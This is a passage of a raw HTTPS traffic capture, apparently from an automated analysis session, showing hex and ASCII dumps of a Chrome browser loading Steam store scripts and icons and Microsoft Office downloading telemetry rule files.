2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-06 11:20:56 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
2024-10-06 11:20:56 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
2024-10-06 11:20:56 UTC	12	IN	Data Raw: 65 64 56 61 6c 75 65 73 29 7b 0d 0a Data Ascii: edValues){
2024-10-06 11:20:56 UTC	6622	IN	Data Raw: 30 30 30 30 31 39 44 32 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3e 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 61 78 28 29 29 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3c 3d 20 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 20 72 65 74 75 72 6e 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 2e 6d 69 6e 28 29 29 3b 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 4d 61 74 68 2e 61 62 73 28 74 68 69 73 2e 61 6c 6c 6f 77 65 64 56 61 6c 75 65 73 5b 30 5d 20 2d 20 76 61 6c 75 65 29 3b 0d 0a 20 20 20 20 20 20 76 61 72 20 6e 65 77 56 Data Ascii: 000019D2 if (value >= this.allowedValues.max()) return(this.allowedValues.max()); if (value <= this.allowedValues.min()) return(this.allowedValues.min()); var offset = Math.abs(this.allowedValues[0] - value); var newV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49765	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	414	OUT	GET /public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:56 UTC	352	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "XsgODqUOlVw9" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=14491378 Expires: Sun, 23 Mar 2025 04:43:54 GMT Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Length: 14447 Connection: close
2024-10-06 11:20:56 UTC	14447	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 72 65 63 61 70 74 63 68 61 49 6e 73 74 61 6e 63 65 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 44 69 73 70 6c 61 79 50 61 67 65 28 20 70 61 67 65 20 29 0d 0a 7b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 27 27 3b 0d 0a 09 09 24 28 27 65 72 72 6f 72 5f 64 69 73 70 6c 61 79 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 6e 6f 6e 65 27 3b 09 0d 0a 0d 0a 09 09 73 77 69 74 63 68 20 28 20 70 61 67 65 20 29 0d 0a 09 09 7b 0d 0a 09 09 09 63 61 73 65 20 27 63 6f 64 65 27 3a 0d 0a 09 09 09 09 24 28 27 77 61 6c 6c 65 74 5f 63 6f 64 65 5f 66 6f 72 6d 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 27 3b 0d 0a 09 09 09 09 24 28 27 72 65 64 Data Ascii: var g_recaptchaInstance = null;function DisplayPage( page ){$('error_display').innerHTML = '';$('error_display').style.display = 'none';switch ( page ){case 'code':$('wallet_code_form').style.display = '';$('red

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49766	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	684	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:56 GMT Connection: close
2024-10-06 11:20:57 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49767	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	728	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:56 GMT Connection: close
2024-10-06 11:20:57 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48xdq5dkwwugdpzr0000000026g000000008ue9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48jwrqbupe3ktsx9w000000027000000000042b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48762wn1qw4s5sd3000000001pg00000000eg31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112056Z-1657d5bbd48q6t9vvmrkd293mg00000001ug00000000b3v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49772	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:56 UTC	412	OUT	GET /public/shared/javascript/dselect.js?v=sjouo3-33Gox&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	345	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "sjouo3-33Gox" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9445523 Expires: Thu, 23 Jan 2025 19:06:20 GMT Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Length: 9318 Connection: close
2024-10-06 11:20:57 UTC	9318	IN	Data Raw: 0d 0a 76 61 72 20 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 20 3d 20 7b 7d 3b 0d 0a 76 61 72 20 67 5f 4c 61 73 74 53 65 6c 65 63 74 48 69 64 65 54 69 6d 65 20 3d 20 30 3b 0d 0a 76 61 72 20 67 5f 66 6e 47 50 4f 6e 43 6c 6f 73 69 6e 67 4d 6f 64 61 6c 57 69 6e 64 6f 77 20 3d 20 6e 75 6c 6c 3b 0d 0a 0d 0a 24 4a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 24 4a 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 20 27 6b 65 79 64 6f 77 6e 27 2c 20 48 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 20 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 48 61 6e 64 6c 65 4d 6f 75 73 65 43 6c 69 63 6b 28 20 65 2c 20 6b 65 79 20 29 0d 0a 7b 0d 0a 09 09 09 69 66 20 28 20 21 67 5f 41 63 74 69 76 65 44 72 6f 70 4c 69 73 74 73 5b 6b 65 79 5d 20 29 0d 0a 09 09 72 65 74 Data Ascii: var g_ActiveDropLists = {};var g_LastSelectHideTime = 0;var g_fnGPOnClosingModalWindow = null;$J(function() {$J(document).on( 'keydown', HandleKeyDown );});function HandleMouseClick( e, key ){if ( !g_ActiveDropLists[key] )ret

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112057Z-1657d5bbd48xdq5dkwwugdpzr0000000029g00000000341t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49779	104.21.91.169	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
